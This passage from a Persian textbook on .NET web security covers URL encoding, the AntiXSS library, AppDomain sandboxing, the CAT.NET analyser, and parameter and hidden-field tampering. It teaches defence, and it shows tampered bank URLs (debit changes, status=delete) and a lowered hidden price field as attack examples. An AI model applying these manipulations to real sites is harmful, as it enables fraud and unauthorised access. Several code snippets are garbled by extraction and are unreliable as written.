 3e%و  3c%صورت ، بهرندیگیقرار م URLبرای ارسال درون بلوک متنی یک  <و  >هنگامی که کاراکترهای 

 .شوندیکدگذاری م

کدگذاری نمود. این دو  UrlPathEncodeو هم با تابع  UrlEncodeتوان هم به وسیله تابع را می URLیک 

 (+)هر کاراکتر فاصله تبدیل به یک کاراکتر مثبت  UrlEncode. در روش کنندیروش نتایج متفاوتی را تولید م

که در مبنای شانزده نشان  کندیکد م "20%"صورت رشته هر فاصله را به UrlPathEncodeاما روش ؛ شودیم

 دهنده کاراکتر فاصله است.

تا  استفاده کنید UrlPathEncodeاز تابع  دیکنیکدگذاری م را URL یکبهتر است هنگامی که بخش مسیر 

 ، دست پیدا کنید.دهدیمکه رمزگشایی را انجام  ساختا ر مرورگریبه رمزگشایی صحیحتر، بدون وابستگی به 

به همین علت با  کندیاستفاده م UTF-8صورت پیشفرض از رمزگذاری به HttpUtility.UrlEncodeتابع 

عنوان پارامتر دوم، به دست به UTF8و تعیین  UrlEncode، نتیجه مشابه استفاده از UrlEncodeاستفاده از روش 

 .دیآیم

 در زمان اجرای برنامه UrlEncodeمسیر مناسبی برای دسترسی به تابع  HttpServerUtility.UrlEncodeتابع 

ASP.NET .است 

به یک نمونه از کلاس  Server، از طریق ویژگی ASP.NETوب  ٔ  صفحهدر فایل کد پشت یک 

HttpServerUtility  از پست  وب ٔ  صفحهدسترسی پیدا کنید. در یک فایل که پشت یک

HttpContext.Current.Server از کلاس  هاینمونهای دسترسی به برHttpServerUtitlity .استفاده کنید 

 استفاده کنید. WebUtilityبرای کدگذاری یا رمزگشایی مقادیر خارج از یک برنامه کاربردی وب از کلاس 
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. این کد در فایل دهدیرا نشان م hyperlinkمقادیر رشته درخواست یک  URLمثال زیر چگونگی کد کردن 

از این روش  شوندی. معمولامقادیری که از کاربر و یا درخواست، دریافت مردیگیوب قرار م ٔ  صفحهان یک کد پنه

 .اشاره دارد HyperLinkبه یک کنترل  NextPageگردند. کدگذاری می

public partial class _Default: Page 

{ 

protected void Page_Load(object sender, EventArgs e) 

{ 

string destinationURL = 

"http://www.contoso.com/default.aspx?user=test"; 

NextPage.NavigateUrl = "~/Finish?url=" + 

Server.UrlEncode(destinationURL); 

} 

} 

 

که در فایل پشت یک  دهدیمثال قبل است با این تفاوت که این روش را در کلاسی نشان م مثال بعدی مشابه

 .ستوب نی ٔ  صفحه

public class SampleClass 

{ 

public string GetUrl() 

{ 

string destinationURL = 

"http://www.contoso.com/default.aspx?user=test"; 

return "~/Finish?url=" + 

HttpContext.Current.Server.UrlEncode(destinationURL); 

} 

} 

 

 Anti-XSS ٔ  کتابخانه 6-2-3
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 ابزار مفید برای جلوگیری از انواع حملاتیک  AntiXSS (The Anti-Cross Site Scripting) ٔ  کتابخانه

( همراه WPL)1وب حفاظتی  ٔ  کتابخانهی از بخش AntiXSS بوده است. ASP.NETاسکریپتی بر علیه وبسایتهای 

 باا یطور خودکار تقرتواند بهاست که می HTTPماژول یک  SREاست.  SRE)2اجرا با یک موتور امنیت در زمان 

در معرض خطر را کدگذاری کند. در اکثر موارد، این بدان معنی است که هر خروجی که از  یهایهمهی خروج

، کدگذاری شده است. مایکروسافت این ابزار را تحت مجوز عمومی شودیورودی غیر قابل اطمینان کاربر تولید م

با این  دیخواهیکه هر عملی که م دهدیرا م امکان شما این(، منتشر کرده است که به MS-PLآزاد مایکروسافت )

 کتابخانه انجام دهید.

متشکل است از مجموعهای از توابع کدگذاری برای هر نوع ورودی کاربر، از جمله عناصر  AntiXSS ٔ  کتابخانه

که باعث  کندیاین کتابخانه از یک لیست سفید استفاده م JavaScript.و HTML ،XML ،CSS ،LDAPو صفات 

کتابخانه هر آنیه را که در این لیست سفید گنجانده نشده است کدگذاری کند. این لیست به منظور  شودیم

یکی از بدترین راه هایی  سایتی طراحی شده است. این حملات اسکریپت نویسی بین حفاظت در برابر حملات

 .فه ایجاد کندتواند یک برنامه را بشکند و در آن وقاست که یک مهاجم با استفاده از آن می

در  .NET Frameworkاز  4.5را در نسخهی  AntiXSS ٔ  کتابخانه یهایژگیامروزه مایکروسافت و

System.Web.Security.AntiXss namespace  یکشیقرار داده که از طریق AntiXssEncoder به نمایش 

های مختلف استفاده کنید، اما  د از این نوع روشها برای کدگذاری داده به شیوهاننتو. شما میشودیگذاشته م

 AntiXSS یهایژگیبرای استفاده از و ASP.NETکتابخانه، پیکربندی یک برنامه  ازسادهترین راه برای استفاده

به عنصر  encoderTypeتوانید این قابلیت را با اضافه کردن ویژگی . شما میباشدیصورت پیشفرض مبه

httpRuntime  درweb.config :انجام دهید، همانگونه که در مثال زیر نشان داده شده است 

<httpRuntime ... 

encoderType="System.Web.Security.AntiXss.AntiXssEncoder, 

System.Web,Version=4.0.0.0,Culture=neutral, 



 

127 

PublicKeyToken=b03f5f7f11d50a3a" /> 

 

 از: دانعبارت anti-xss ٔ  کتابخانه از استفاده مزایای

و  کارایی سیستم بازنویسی شده استو  کتابخانه کاملابا در ذهن داشتن عملکرد این :بهبود عملکرد •

 .کندیتضمین م xssحملات کاربر را در مقابل  ٔ  برنامهحفاظت از 

سایتی نیز  نویسی بین تاسکریپ : وبسایتها یک مکان جهانی هستند و موضوع حملاتسازی امن جهانی •

سایت شما را در  Anti-XSSمروزه شود  تواند در هرجایی نوشتهاست. یک حمله مییک مسئله جهانی 

 .کندیحفاظت م شوندیکه به زبانهای مختلفی نوشته م xssحملات مقابل 

توانید می : این کتابخانه مطابق با استانداردهای مدرن وب نوشته شده است. شماسازگاری با استانداردها •

 باشید. UIمنفی آن بر روی  ریه استفاده کنید بدون اینکه نگران تأثبه راحتی از این کتابخان

 Anti-XSS ٔ  کتابخانهکدگذاری خروجی با استفاده از   1-6-2-3

و به عبارت  باشدیبرای کدگذاری رشته ها م ییهادارای تابع System.Web.Security.AntiXssفضای نام 

این ر . ددهدیاسکریپت نویسی بین سایتی یاری م دیگر کاربر را در حفاظت از وبسایت خود در مقابل حملات

کدگذاری  urlو  html ،xml ،cssوجود دارد که یک رشته برای استفاده در  AntiXssEncoderفضای نام یک کلاس 

 .کندیم

 از: اندعبارت گذاردیکه کلاس فوق برای کدگذاری و در اختیار م ییهابرخی از تابع

 و کاربرد انها AntiXssEncoder: تابعهای کلاس 4-4جدول 

 شرح تابع

Css Encode   رشته را برای استفاده درcss .کد گزاری میکند 
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Html Encode   رشته را برای استفاده درhtml  کدگزاری میکند و مشخص

استفاده بشود  HTML 4.0میکند که آیا از موجودیت های نام دار 

 یا خیر.

HtmlAttributeEncode   رشته را برای استفاده در یک صفتhtml .کدگذاری میکند 

HtmlFormUrlEncode  رشته را برای استفاده در فرمی که نوع آنapplication/x- 

www-form-urlencoded کدگذاری میکند. ،است 

UrlEncode   رشته را برای استفاده در یکUrl .آماده میکند 

XmlEncode   رشته را برای استفاده درxml .کدگذاری میکند 

1-1-1-1 XmlAttributeEncode   رشته را برای استفاده درxml .کدگذاری میکند 

 

3-3 Sandboxing 

Sandboxing مجوزهای داده شده به یک کد را  است که، عملیات اجرای کد در یک محیط امن محصور شده

مورد اعتماد نیست،  کاملاا دارید که منبع اصلی آن  شدهمدیریتای  . برای مثال اگر شما کتابخانهکندیمحدود م

نباید آن را با اطمینان کامل اجرا نمایید، یعنی باید این کد را درون یک سندباکس قرار داده و تنها مجوزهایی را 

 توانید برای آزمونمی ین( همچنمثالا مجوز اجراباشد )به آن اختصاص دهید که ممکن است به آنها نیاز داشته 

 استفاده نمایید. از سند باکس، دیکنیمنتشر م اعتمادقابلکدهایی که در یک محیط نسبتاا 

 Sandboxie:Sandboxingنرم افزار  1-3-3
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Sandboxie مجازی به نام  ٔ  یزولهاشما را در یک محیط  ٔ  برنامهsandbox تحت نظارت کندیاجرا م .

Sandboxieی روی کامپیوتر یمتواند اثرات دا، اما نمیدیآیترین سرعت به اجرا در ملادر با ، برنامه در حالت عادی و

 .باشندیمعتبر م sandboxشما باقی بگذارد و تغییرات تنها درون همان 

، اثری مانند نوشتن بر شودیای که اجرا م عنوان یک تکه کاغذ در نظر بگیرید. هر برنامهکامپیوتر خود را به

، روی کاغذ شودی، به ازای هر سایتی که بازدید مدیکنی. هنگامی که مرورگرتان را باز مگذاردیمقی ذ باروی کاغ

می کند. نرم یتا اثر خود را روی کاغذ دا کندیش ملاو هر بدافزاری که با آن مواجه شوید ت گذاردیاثری باقی م

رگونه نوشته و اثری که در نظرشان تا ه کردندیافزارهای قدیمی حفظ حریم شخصی و ضد بدافزارها، تلاش م

 لا. ولی اوشدندیکه البته در اکثر مواقع هم به درستی کشف م را پاک نمایند شدییستم انجام موی سناخواسته ر

ها و اثراتی باشند و هم اینکه  که دنبال چه نوع نوشته آموختندیها مبه آن ستیبایها هم ماین نرم افزارسازندگان 

ی شفاف که روی کاغذ لایه امانند  Sandboxieپاک کنند. از طرف دیگر محیط سندباکس نرم افزار چگونه آنها را 

که برای آنهادقیقاا همانند کاغذ اصلی  سندینوییه شفاف ملا. برنامه ها روی این کندیت، عمل مفته اسقرار گر

کاغذ اصلی دست نخورده باقی  یه شفاف است ولابه مانند پاک کردن  دیکنیشما سندباکس را پاک م ؛ کهاست

 ماند.یمِ

Sandboxie ویروسهای سنتی، کامل  ضد بدافزارها و آنتیبا  ستیبایعنوان اولین خط دفاعی شما بوده و مبه

سنتی از  یهادر روش تا سیستمتان از هر طریقی آلوده نشود. معمولا کنندیحلها به شما کمک م شود. این راه

اما ؛ شدیو دیگر تهدیدات، استفاده م مخرب طرق مختلف برای یافتن برنامه های تطابق با الگوهای مشخص به

Sandboxie که اجازه خروج سندباکس را به آن بدهد.  کندیدر واقع نسبت به هیچ کدی آن قدر اطمینان پیدا نم

ای ناشناس قرار مروزه مورد توجه گروه ه که»تواند نرم افزارهای مخرب را استفاده از ترکیب این دو روش می

 از کامپیوتر شما دور نگاه دارد. «گرفتهاند

Sandboxie  در مقابلkey-loggers ؟کندیاز شما محافظت متا حدی های مخرب 
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انجام دهید تا مانع  sandboxرا در نظر بگیرید که تمامی عملیات مرور وب را درون  این فرضممکن است 

ها کار بسیار دشواری key-loggerشوید. مطمئن شدن از کشف  ها به درون سیستمkey-loggerورودی تصادفی 

، پاک کردن سندباکس دهدیبرای مقابله با آنها در اختیارتان قرار م Sandboxieکه  بهترین روشی است بنابراین

و سپس سندباکس مورد  دیکنیها را متوقف مهای درون تمامی سندباکسهمه فعالیتکه شما  است. هنگامی

 .شوندیها هم پاک مkey-loggerتوان مطمئن بود که تمامی هیچ وجه نمی کنیم و بهمیاستفاده را پاک 

 BufferZone Pro:Sandboxingافزار  نرم  2-3-3

BUFFERZONE های همچون تهدیدات پیشرفت در مقابل هاحل امنیت کامپیوترها، از شرکتیا راهzero-

day ،drive-by download ، حملاتphishing  وAPT ،کندمحافظت میها .BUFFERZONE محفظه  با داشتن

کند تا در عین حفظ امنیت فراهم میکارکنان  مجزا، پل زدن و هوشمندی، این امکان را برای کاملاابا مرزهای 

 داشته باشند. جانبی شرکت، دسترسی نامحدود به برنامه های اینترنتی، ایمیل و حافظه های

توان حلهای قدیمی نمیتر شدن هستند، دیگر با راهآنجایی که تهدیدات سایبری به سرعت در حال پیشرفته از

در حال حرکتی هستند که های هدف جلو نفوذ آنها به کامپیوترهای کاربران را گرفت. تهدیدات امروزی در واقع

: کندیروش دیگری را دنبال م BUFFERZONEتوان آنها را حتی با دقت کامل هم کشف کرد. به همین دلیل نمی

محافظت  جهیهای مجازی مربوط به خودشان و درنتایزوله کردن مرورگرها، ایمیل و حافظه های جانبی در محیط

 از کامپیوترها در مقابل نفوذ.

BUFFERZONE های برای کاربران به معنای دسترسی شفاف به اطلاعات است. برای تیمIT امنیت ،

مهمتر فراهم  ئلکند، بنابراین امکان توجه به مساتر میهای نادرست سادهنلارا در عین کاهش اعکامپیوترها 

 .شودیم

کند محتوای هر منبعی که ممکن است ناامن تلقی شود را محافظت می BUFFERZONEی مجازی اانباره

توان می BUFFERZONE ٔ  یلهوسو حتی حافظه های جانبی. به  Skype ،FTPل، یمانند مرورگرهای وب، ایم
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بندی شده را با توجه به سگمنت شبکه، محل فایل یا برچسب، امضای دیجیتال و منبع های مهار دانهسیاست

URL/IP .تعیین کرد 

BUFFERZONE  بخشهایهم برای برنامه و هم کاربر، شفاف بوده و توانایی جداسازی تهدیدات را از دیگر 

های فایلتواند تمامی محیط برنامه را ایزوله کند، هم حافظه و هم می BUFFERZONEیک کامپیوتر داراست. 

از جیستری و دسترسی به شبکه. هر گونه تلاش برای آلوده کردن سیستم به مرزهای محفظه محدود شده و ر

 شود.آن به کامپیوترها جلوگیری می رسیدن

BUFFERZONE حداکثر ساختن  جهیبدافزارها و درنتحل کامل برای پاک نگاه داشتن ترمینالها از  یک راه

 .دیآیبه حساب م IT کنترل برایشفافیت برای کاربران و 

 نویسی سندباکس در چارچوب دات نتواسط برنامه 3-3-3

 برای اجرای یک برنامه درون یک سندباکس مراحل زیر را اجرا کنید:

توانید نمایید. حداقل اجازهای که می، ایجاد دیدهیمجموعه مجوزها را برای اعطا به برنامه های نامطمئن م 1.

اعطای آنها به  کنیدمی توانید مجوزهای دیگری نیز که فکروه بر این، میلااختصاص دهید، مجوز اجرا است. ع

 خطر است را به مجموعه اضافه نمایید. برای مثالبرنامه های نامطمئن، بی

.IsolatedStorageFilePermission  کندیبا مجوز اجرا را ایجاد مکد زیر یک مجموعه، تنها: 

PermissionSet permSet = new PermissionSet(PermissionState.None); 

permSet.AddPermission(new( 

SecurityPermission(SecurityPermissionFlag.Execution)); 

 Internetاند، مانند از مجموعه مجوزهای مشخصی که از قبل ایجاد شده توانیدقبل میروش  یجاهمچنین به

 استفاده کنید.

Evidence ev = new Evidence(); 
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ev.AddHostEvidence(new Zone)SecurityZone.Internet(); 

PermissionSet internetPS = SecurityManager.GetStandardSandbox(ev); 

 

شاهد موجود است، یا مجموعه مجوز اینترنت یا  در ، بسته نوع منطقه کهGetStandardSandboxتابع 

. این روش هم چنین چند مجوز هویت هم برای اشیا کندیعنوان نتیجه تولید ماینترانت محلی را به ٔ  مجموعه

 کند.، تولید میشوندیعنوان مراجع، ارسال مشاهد که به

نام دارد.( و کد نامطمئن را فراخوانی  Sandboxerاسمبلی را که شامل کلاس میزبانی است )که در این مثال  2.

مربوط به  StrongName شود، به آرایهمی اسمبلی استفاده، امضا کنید. نام قوی را که برای امضا کردن کندیم

 ، اضافه نمایید.CreateDomainفراخوانی  fullTrustAssembliesپارامتر 

را اجرا کرد و یا به  نیمه مطمعنتا بتوان کدهای قابل اطمینان اجرا شود  کاملااصورت کلاس میزبانی باید به

 را بخوانید: یک اسمبلیتوانید نام قوی برنامه های از این نوع، خدماترسانی کرد. به روش زیر می

StrongName fullTrustAssembly = 

typeof(Sandboxer).Assembly.Evidence.GetHostEvidence<StrongName>(); 

لام قابل انیازی به اضافه شدن به لیست ک System.dllو  mscorlibنت مانند های چارچوب دات اسمبلی

 .شوندیاطمینان ندارند زیرا از کش سراسری اسمبلی به همین صورت بارگذاری م

مقدار اولیه اختصاص دهید. به وسیلهی این  CreateDomainمربوط به تابع  AppDomainSetupبه پارامتر  3.

ویژگی بسیار مهمی  ApplicationBase. باشدیجدید، قابل کنترل م AppDomainپارامتر بسیاری از تنظیمات 

برنامه میزبان، متفاوت باشد. در غیر این صورت،  AppDomainمربوط به  ApplicationBaseبا  ستیبایاست و م

تحت عنوان برنامه )توسط خود کرده  شدهفیخطاهای تعرمیزبان را مجبور به بارگذاریتواند برنامه ناشناس می

 .شودییا توصیه نم catchآن را آلوده نماید. این هم دلیل دیگری است که استفاده از  جهیدرنت ( واعتمادقابلکاملا
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خطر سو  شودیجرا ما sandboxن های برنامه میزبان و برنامه های که دروApplicationBase متفاوت یمتنظ

 را از بین خواهد برد. استفاده

 AppDomainSetup adSetup = new AppDomainSetup(); adSetup.ApplicationBase = 

Path.GetFullPath(pathToUntrusted); 

 کردیم، تعریف که پارامترهایی از استفاده یا برنامه ٔ  دامنه ایجاد برای 4.

CreateDomain(String, Evidence, AppDomainSetup, PermissionSet, StrongName[]) فراخوانی  را

 امضای این روش به شکل زیر است: کنید.

public static AppDomain CreateDomain(string friendlyName, 

Evidence securityInfo, AppDomainSetup info, PermissionSet grantSet, 

params StrongName[] fullTrustAssemblies) 

 اطلاعات اضافه:

پذیرد، عنوان یک پارامتر میرا به PermissionSetاست که  CreateDomainاز تابع  overloadفقط همین  •

، بارگذاری اعتمادقابلدهد تا یک برنامه را تحت عنوان نسبتاا بنابراین تنها روشی است که به شما اجازه می

 کنید.

وسیله اجزای  به بلکه ،گیردبرای محاسبه یک مجموعه مجوز، مورد استفاده قرار نمی evidenceپارامتر  •

 .شودیدیگری از چارچوب دات نت برای تشخیص هویت استفاده م

 اجباری است. overloadبرای این  infoپارامتر  ApplicationBaseتنظیم ویژگی  •

باشد که به این معناست که اجباری برای می fullTrustAssembliesمتعلق به پارامتر  paramsکلیدواژه  •

 .باشدیعنوان پارامتر مجاز مهای قوی دیگر به، یا نام1، 0ایجاد آرایه نیست. ارسال 

 کد ایجاد کننده دامنه برنامه، کد زیر است: •

AppDomain newDomain = AppDomain.CreateDomain("Sandbox", null, 

adSetup, permSet, fullTrustAssembly); 
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 :باشدی، بارگذاری کنید. این کار در دو روش قابل انجام مایدکردهکه ایجاد  sandboxingکد را درون دامنه  5.

 برای اسمبلی. ExecuteAssemblyفراخوانی  •

درون  MarshalByRefObjectاز که کلاس نمونه یک ایجادای بر CreateInstanceFrom روش از استفاده •

AppDomain شودیجدید، مشتق م. 

 . روشکندیجدید سادهتر م AppDomainروش دوم بهتر است چون ارسال پارامتر را به نمونه 

CreateInstanceFrom :دو مشخصهی مهم دارد 

 که شامل اسمبلی شما نیست. کندیتوانید از پایه کدی استفاده کنید که به مکانی اشاره ممی ➢

، PermissionState.Unrestrictedکامل اطمینان  برای Assert کی تحت را نمونه ایجاد توانیدمی ➢

عمل زمانی  ینا (بحرانی ممکن شود.  هایکلاساز  هاینمونهایجاد  شودیانجام دهید که موجب م

کاملاا عنوان باشد و به نداشته یتشفافنویسی حاشیه گونههیچاتفاق میافتد که اسمبلی شما 

کدهای مطمئن را با این  باشید که تنهابارگذاری شده باشد.( بنابراین باید دقت داشته  اعتمادقابل

جدید  ٔ  دامنهرا درون  اعتمادکاملاا قابل هایکلاس هاینمونهفقط  شودیقابلیت ایجاد کنید. توصیه م

 نمایید. برنامه، ایجاد

ObjectHandle handle = Activator.CreateInstanceFrom( 

newDomain, typeof(Sandboxer).Assembly.ManifestModule.FullyQualifiedName, 

typeof(Sandboxer).FullName ); 

 کلاس ،ستیبایموردنظر م جدید کلاس ٔ  دامنهاز یک کلاس در یک  هاینمونهتوجه کنید که برای ایجاد 

MarshalByRefObject .را گسترش دهید 

class Sandboxer:MarshalByRefObject 

غیرقابل  اجرای کدهایعنوان مرجع در این دامنه، آزاد کنید. این مرجع برای دامنه جدید را به ٔ  نمونه 6.

 .شوندیاطمینان استفاده م
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Sandboxer newDomainInstance = (Sandboxer) handle. Unwrap(); 

، فراخوانی ایدکردهایجاد  تازگیبهکه  Sandboxerاز کلاس  هاینمونهرا در  ExecuteUntrustedCodeروش  7.

 کنید.

newDomainInstance.ExecuteUntrustedCode(untrustedAssembly 

untrustedClass entryPoint parameters); 

 که مجوزهای محدودی دارد. شودیبرنامه اجرا م sandboxاین فراخوانی، در دامنه درون 

public void ExecuteUntrustedCode(string assemblyName, string typeName, 

string entryPoint, Object[] parameters) 

{ 

MethodInfo target = Assembly.Load(assemblyName) 

.GetType(typeName).GetMethod(entryPoint); 

try 

{ 

target.Invoke(null, parameters); 

} 

catch (Exception ex) 

{ 

(new PermissionSet (PermissionState.Unrestricted)) 

.Assert(); 

Console.WriteLine("SecurityException caught:\n{0}", 

ex.ToString()); 

CodeAccessPermission.RevertAssert(); 

Console.ReadLine(); 

} 

} 

 CAT.NET ،ابزار تحلیل کد دات نت مایکروسافت  4-3-3

خیص عیوب امنیتی رایج در کدهای است که به تش تحلیل کد باینرییک ابزار  CAT.NETابزار تحلیل کد 

 :از اندعبارت هاپذیریآسیبکند. این ، کمک میشدهمدیریت
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 بین سایتیاسکریپت  ➢

 SQLتزریق  ➢

 تزریق دستور پردازش ➢

 اطلاعات استثنا ➢

 LDAPتزریق  ➢

 XPATHتزریق  ➢

 توسط کاربر شدهکنترلهدایت کاربر به سایت  ➢

. کندیکیفیت کد را بهبود بخشیده و به رسیدن به بهترین تجربیات امنیتی کمک م CAT.Netابزار 

خودکار  کند. چیزی که همیشه باید هنگام استفاده از ابزارمایکروسافت از این ابزار برای مرور امنیتی استفاده می

 کند.نتایج تولید می گونهازاینگاهی  Cat.Netاست.  1نادرست تحلیل کد به یاد داشته باشید نتایج مثبت 

 .کاربردبه  SDL،حیات تولید امنیتی ٔ  چرخهاز  سازیپیادهرا باید در فاز  CAT.Netابزار 

. ردیگیی که مورد تحلیل قرار مdllرو هستیم نظیر اندازه هایی روبهبا محدودیت CAT.Netهنگام استفاده از 

. البته شودیاعلام م تربزرگ هایاندازهتحلیل کرد. برای  CAT.NETتوان با ابزار را می MB 18با اندازه  dllیک 

 بیت. 64بیت نه در  32 هایدستگاهفقط در 

 توان استفاده کرد:را برای چهار سناریوی مختلف می CAT.NETابزار 

 برای ویژوال استودیو snap-inیک  1.

 یک ابزار خط فرمان 2.

 و FxCopعنوان یک قانون به 3.

 MSBuildسفارشی  ٔ  یفهوظعنوان یک به VSTF TeamBuildرچه با صورت یکپابه 4.
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 کرد. خواهیم در این مثال آزمایشی از ابزار خط فرمان استفاده

فرمان  در آن قرار گرفته است، بروید. CATNetCmd64.exeای که  خط فرمان را باز کرده و به پوشه

“CATNetCmd64.exe /file:”catnet.dll”  کنید را تایپ/file. کندینام اسمبلی را برای آنالیزکردن، قبول م. 

و در صورت موفقیتآمیز بودن، گزارشی تولید  شودیکه عملیات تحلیل آغاز م دیکنیپس از این کار، مشاهده م

 آمیز: نمایش پس از یک تحلیل موفقیت ٔ  صفحه. گرددیم

 

 CAT.Netصفحه نمایش پس از یک تحلیل موفق توسط 

 مشاهده کنید. report.html، با نام ct.netمربوط به دایرکتوری  ٔ  یشهرتوانید در مسیر ا میگزارش تولید شده ر

 :دینیبیمزیر  گزارش نمونه برای مثال بالارا در شکل
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 CAT.Netنمونه گزارش تولید شده توسط 

 

 فرم و پارامتر دستکاری 4-3

 قرار هدف مورد را وب تحت برنامه منطق مستقیم طور به که است حمله از ای ساده فرم یک پارامتر دستکاری

 خاص عملیات برای امنیتی اقدام یک عنوان به فیلدها تثبیت یا سازی مخفی بر نویسان برنامه بسیاری از .دهد می

 دستکاری حمله که است موارد این از برخی URL در پارامتر یک یا فرم یک مخفی در های تگ .کنند می تکیه

 .برد می بهره آن از پارامتر

 به وب، نشست یک طول در .باشد می ها سرور وب اصلی عملکرد شده درخواست های فایل به رسانی خدمت

 که گردد می مبادله وب تحت برنامه و وب مرورگر بین پارامترها کلاینت، جلسه مورد در نگهداری اطلاعات منظور

 و فرم فیلدهای ،URL های جوی و پرس .نماید می برطرف را سرور سمت داده در پایگاه یک نگهداری به نیاز

 .گیرند می قرار مورد استفاده ها پارامتر شدن بدل و رد برای ها کوکی
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 HTML صفحه یک کاربر یک که هنگامی .است پارامتر دستکاری از مثال بهترین فرم فیلد در پارامترها تغییر

 تحت برنامه به HTTP پروتکل توسط مقادیر واین دارد قرار آن های فیلد درون مقادیر برخی می کند، انتخاب را

 .کند می پیدا انتقال وب

 حال .باشند می دست این از مواردی و combo box، check box، radio buttons مانند مقادیر این از برخی

 .نماید ارسال وب تحت برنامه سمت به را خود دلخواه موارد و نماید دستکاری را مقادیر این تواند مهاجم می یک

 بارگذاری و آن HTML کدهای در تغییر نظر، مورد صفحه کردن ذخیره توسط حمله تنها این موارد برخی در

 .پذیرد می صورت وب مرورگر در مجدد

 مثال برای .نیستند مشاهده قابل نهایی کاربر برای باشند، شده مخفی HTML صفحه یک در فیلدها هنگامی

 :است زیر کد با پنهان فیلد شامل که را سفارش محصولی فرم

<input type="hidden" name="price" value="99. 99"> 

 عنوان به .نماید دستکاری را ارسالی مختلف پارامترهای است ممکن نفوذگر یک پارامتر، دستکاری حمله یک در

 :بگیرید در نظر زیر فرم مثال

<FORM METHOD=POST ACTION="xferMoney.asp״> 

 Source Account: <SELECT NAME="SrcAcc"> 

<OPTION VALUE=" 123456789">******789</OPTION> 

 <OPTION VALUE="868686868">******868</OPTIONX/SELECT> <BR>Amount: <INPUT 

NAME="Amount" SIZE=20> <BR>Destination Account: <INPUT NAME="DestAcc" SIZE=40> 

<BRXINPUT TYPE=SUBMIT> <INPUT TYPE=RESET> </FORM> 

 

 تمام GET روش در .دهد می ارائه POST و GET روش دو از استفاده با را خود نتایج HTML های فرم

 مشاهد قابل کاربر توسط که شود می ارسال URL طریق از Query String یک در آنها و مقادیر فرم پارامترهای

 نظر در را وب صفحه یک مثال، عنوان به .نماید دستکاری را Query String است این ممکن نفوذگر یک .است
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 یک طریق از را هایش حساب از یکی که شود می داده اجازه هویت شده تایید که کاربری به آن در که بگیرید

Combo Box کند، می کلیک مرورگر در دکمه ارسال روی بر وی که هنگامی .نماید انتخاب URL شده درخواست 

 :است زیر صورت به

http://www.iuggvbank.com/cust.asp?profile=21&debit=2500 

 .دهد تغییر دیگر حساب به رفتن منظور به debit و Profile مانند URL های پارامتر است ممکن نفوذگر یک

http://www.iuggybank.com/cust.asp?profile=82&debit=1500 

 .دهد تغییر را ها آن تواند می نفوذگر که هستند دیگری پارامترهای داخلی، های ماژول و صفات پارامترهای

 مشخص را آپلود مانند صفحاتی رفتارهای مثال طور به که هستند فردی به منحصر صفت، پارامترهای پارامترهای

 خالق بخش این .گذارد می اشتراک به را محتوایی که بگیرید نظر در را وب برنامه تحت یک مثال برای .کند می

 .باشند می محتوا آن مشاهده به قادر تنها دیگر کاربران که در حالی دهد تغییر را آن که سازد می قادر را محتوا

 توسط معمولا کار این که خیر یا باشد می تغییر محتوا به قادر کاربر آیا که کند می کنترل مورد این در سرور وی

 :نماید می درخواست را زیر لینک معمولی کاربر .گیرد می صورت ها کوکی

http://www.iuggybank.com/stat.asp?pg=531&status=view 

 .آورد دست به را نظر مورد محتوای حذف دسترسی تا دهد تغییر delete به status پارامتر تواند می نفوذگر یک

http://www.iuggybank.com/stat.asp?pg=147&status=delete 

 .گردد هویت سرقت و نشست سرقت دسترسی، افزایش ها، سرویس از سرقت به منجر تواند می پارامتر دستکاری
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 مخفی فیلدهای دستکاری 5-3

 اکثر .گیرند می قرار استفاده مورد الکترونیک تجارت های سایت وب برابر در معمولا پنهان دستکاری حملات

 توسعه سرور، و کلاینت بین نشست و کلاینت ارتباط هر در .باشند می روبرو مشکل این آنلاین با های فروشگاه

 استفاده آن، تخفیف میزان یا و محصول قیمت جمله از کلاینت اطلاعات برای ذخیره پنهان های فیلد از دهندگان

 کاربردی های برنامه تمام که کنند می احساس دهندگان توسعه برنامه هایی، چنین این توسعه زمان در .نمایند می

 قیمت با را معامله فرآیند تکمیل و نموده دستکاری محصول را قیمت تواند می هکر یک اما هستند، خطر بی آنها

 می دلار 9999 همراه تلفن گوشی قیمت یک eBay مانند سایتی در مثال طور به .نماید جایگزین خود نظر مورد

 هکر توسط سایت دادن مالیکت دست از معنای به تغییر این .دهد می تغییر دلار 99 به را آن قیمت هکر ولی باشد

 فایروال، سیستم ها، ویروس آنتی از نسخه آخرین از حملاتی چنین برابر در محافظت برای باید شما .باشد می

 قرار حملاتی چنین مورد شما سایت وب که صورتی در است، ذکر به لازم .نمایید استفاده غیره و نفوذ تشخیص

 .داد خواهید دست از بازار در را خود اعتبار گیرد، اغلب

 یک در را خرید به مربوط های فیلد ابتدا دارد، را فروشگاه سایت در را محصولی خرید قصد فرد یک که هنگامی

 محصول، نوع به مربوط درخواستی اطلاعات صورت این در کند، می تایید را درخواست و کرده پر HTML صفحه

 وب تحت برنامه به و شده ارسال سرور سمت به) POST یا HTTP (GET قالب پروتکل در آن قیمت و تعداد
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 در که کنند می ذخیره مخفی صورت به را ها فیلد مقادیر معمول طور به HTML صفحات .شود می داده تحویل

 محصولی خرید قصد مثال طور به نفوذگر که زمانی نکته به این توجه با نیست، مشاهده قابل کاربر مانیتور صفحه

 سمت به درخواست و کند می وارد را دلار 8 مقدار است، دلار 899 با برابر مثلا که قیمت مقدار جای به دارد را

 .می گردد خریداری نفوذگر یافته تغییر قیمت با محصول صورت بدین .شود می ارسال سرور

 

 

 



 

 

 در دات نت سطح دسترسیهویت و  احراز :چهارمفصل  -4

 (.authorization) یدسترسسطح  ( وAuthentication)مدیریت هویت دو رویه مهم دارد: احراز هویت 

احراز هویت فرایند کشف هویت یک موجودیت از طریق یک شناسه و بررسی هویت از طریق اعتبارسنجی  •

 ارائه شده توسط موجود در برابر یک منبع موثق است. یاعتبارنامه ها

• authorization یا  فرایند تعیین این مساله است که یک هویت مجاز به انجام عمل درخواست شده هست

 خیر.

 مقدمه 1-4

 ک مثال ساده معرفی می نمایم.ی و  "هستم؟ کی من"یا احراز هویت که آن را با  Authentication در ابتدا

 و  "بله...سلام"خانه گوشی آیفون را برداشته و می گوید  صاحب مثال فردی زنگ منزل را فشار می دهد. یبرا

صاحبخانه فرد را بشناسد درب را برای وب باز می کند وگرنه به فرد  اگر د را معرفی می کند.خو جواب در نیز فرد

 در صفحه ورود به برنامه نام کاربری و کاربر نیز دقیقا همین عمل است. Authentication.اجازه ورود نمی دهد

فرد احراز هویت شود وارد سیستم می شود وگرنه پیغام مناسب به کاربر  اگر رمز عبور خود را وارد می نماید.

 .نمایش داده می شود

که دسترسی های مجاز کاربر را مشخص می کند تعیین می  "دسترسی ها(ها )اجازه "یا  Authorizationدر 

